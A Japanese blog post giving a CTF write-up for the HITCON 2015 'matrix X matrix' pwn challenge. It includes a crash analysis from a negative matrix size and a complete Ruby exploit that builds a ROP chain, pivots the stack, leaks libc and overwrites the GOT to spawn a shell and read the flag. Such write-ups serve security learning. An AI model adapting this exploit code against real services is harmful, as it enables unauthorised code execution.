しゃろの日記

CTFのwriteup置き場になる予定(`・ω・´)

HITCON CTF 2015 Quals - matrix X matrix writeup

HITCON CTF 2015 Qualsにfuzzi3で参加しました。

チームで3640pt入れて4位、
私は1問解いて175pt入れました。

次回はもっと貢献できるようにがんばります(白目)

解いた問題のwriteupを置いておきます(`・ω・´)

matrix X matrix (pwn 175)

$ ./matrix
Enter your name
test
Hello test

That is a program of matrix multiplication
Enter the size of matrix
2
Enter the (0,0) element of the first matrix : 1
Enter the (0,1) element of the first matrix : 2
Enter the (1,0) element of the first matrix : 3
Enter the (1,1) element of the first matrix : 4
Enter the (0,0) element of the second matrix : 5
Enter the (0,1) element of the second matrix : 6
Enter the (1,0) element of the second matrix : 7
Enter the (1,1) element of the second matrix : 8
19 22
43 50

正方行列の積を計算してくれるプログラム。

大まかな流れは

  1. "Enter your name"で文字列を0x6020a0に読み込む
  2. "Enter the size of matrix"で行列のサイズを入力
  3. allocaで行列用の領域を確保
  4. 行列の要素入力
  5. 積を計算
  6. 出力

という感じになっている。

サイズに負数を指定したらどうなるか試してみたところ、

Enter your name
test
Hello test

That is a program of matrix multiplication
Enter the size of matrix
-2
Enter the (0,0) element of the first matrix : 1111
Enter the (0,1) element of the first matrix : 2222
Enter the (1,0) element of the first matrix : 3333

Program received signal SIGSEGV, Segmentation fault.
0x0000000000400976 in ?? ()
[----------------------------------registers-----------------------------------]
RAX: 0x1
RBX: 0x10
RCX: 0x10
RDX: 0x1
RSI: 0x7ffff7dd59f0 --> 0x0
RDI: 0x1999999999999999
RBP: 0xd05 (※0xd05 == 3333)
RSP: 0x7fffffffe0f0 --> 0x457
RIP: 0x400976 (add    DWORD PTR [rbp-0x84],0x1)
R8 : 0x7ffff7dd4060 --> 0x7ffff7dd0d40 --> 0x7ffff7b9320e --> 0x2e2e00544d470043 ('C')
R9 : 0x7fffffffdc04 --> 0x200007f00
R10: 0xd05
R11: 0x0
R12: 0xfffffffffffffffe
R13: 0x0
R14: 0xfffffffffffffffe
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x400967:    mov    edi,0x400fc9
   0x40096c:    mov    eax,0x0
   0x400971:    call   0x400600 <__isoc99_scanf@plt>
=> 0x400976:    add    DWORD PTR [rbp-0x84],0x1
   0x40097d:    mov    eax,DWORD PTR [rbp-0x84]
   0x400983:    cmp    eax,DWORD PTR [rbp-0x7c]
   0x400986:    jb     0x40090b
   0x400988:    add    DWORD PTR [rbp-0x88],0x1
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe0f0 --> 0x457
0008| 0x7fffffffe0f8 --> 0x8ae
0016| 0x7fffffffe100 ("ram of m")
0024| 0x7fffffffe108 --> 0x0
0032| 0x7fffffffe110 --> 0x7fffffffe2a0 --> 0x0
0040| 0x7fffffffe118 --> 0x4007be (mov    esi,DWORD PTR [rbp-0x8c])
0048| 0x7fffffffe120 --> 0x7fffffffe230 --> 0xfffffffffffffffd
0056| 0x7fffffffe128 --> 0x7ffff7ffeae8 --> 0x7ffff7ffea18 --> 0x7ffff7ffe788 --> 0x7ffff7ffe760 --> 0x7ffff7ff8000 (jg     0x7ffff7ff8047)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000400976 in ?? ()

サイズに-2を指定したとき、3番目の数字がrbpに入ってしまうことがわかった。

これを利用してrbpにname周辺のアドレスを入れれば、nameの内容でROPできる。

#coding:ascii-8bit
require_relative "../../pwnlib"

remote = true
if remote
    host = "52.68.53.28"
    port = 31337
    libc_offset = {
        "__libc_start_main" => 0x21dd0,
        "system" => 0x46640
    }
else
    host = "localhost"
    port = 54321
end

got = {
    "puts" => 0x602018,
    "__libc_start_main" => 0x602038,
    "fflush" => 0x602048,
    "read" => 0x602030
}

def call_func(func, arg1 = 0, arg2 = 0, arg3 = 0)
    payload = ""

    payload << [0x400efa, 0, 1, func, arg3, arg2, arg1].pack("Q*")
    payload << [0x400ee0].pack("Q")
    payload << [0].pack("Q") * 7

    payload
end

PwnTube.open(host, port){|tube|
    tube.wait_time = 0

    puts "[*] send rop chain"
    tube.recv_until("Enter your name")
    payload = ""
    payload << "\0" * 0x188
    payload << call_func(got["puts"], got["__libc_start_main"])
    payload << call_func(got["fflush"], 0)
    payload << call_func(got["read"], 0, got["__libc_start_main"], 16)
    payload << call_func(got["__libc_start_main"], got["__libc_start_main"] + 8)
    tube.send(payload)

    puts "[*] send matrix size"
    tube.recv_until("Enter the size of matrix")
    tube.send("-2\n")

    puts "[*] stack pivot"
    [1, 2, 0x6020a0 + 0x180].each{|n|
        tube.recv_until("first matrix :")
        tube.send("#{n}\n")
    }

    puts "[*] leak libc base"
    libc_base = tube.recv_capture(/(.{6})\n/)[0].ljust(8, "\0").unpack("Q")[0] - libc_offset["__libc_start_main"]
    printf("libc base = 0x%016x\n", libc_base)

    puts "[*] overwrite got"
    payload = ""
    payload << [libc_base + libc_offset["system"]].pack("Q")
    payload << "/bin/sh\0"
    tube.send(payload)

    tube.shell
}
$ ruby matrix.rb
[*] connected
[*] send rop chain
[*] send matrix size
[*] stack pivot
[*] leak libc base
libc base = 0x00007f7c85207000
[*] overwrite got
[*] waiting for shell...
[*] interactive mode
id
uid=1000(matrix) gid=1000(matrix) groups=1000(matrix)
cat /home/*/flag
hitcon{tH4nK_U_4_pL4y1nG_W17H_3Bp_M47R1X}
exit
[*] end interactive mode
[*] connection closed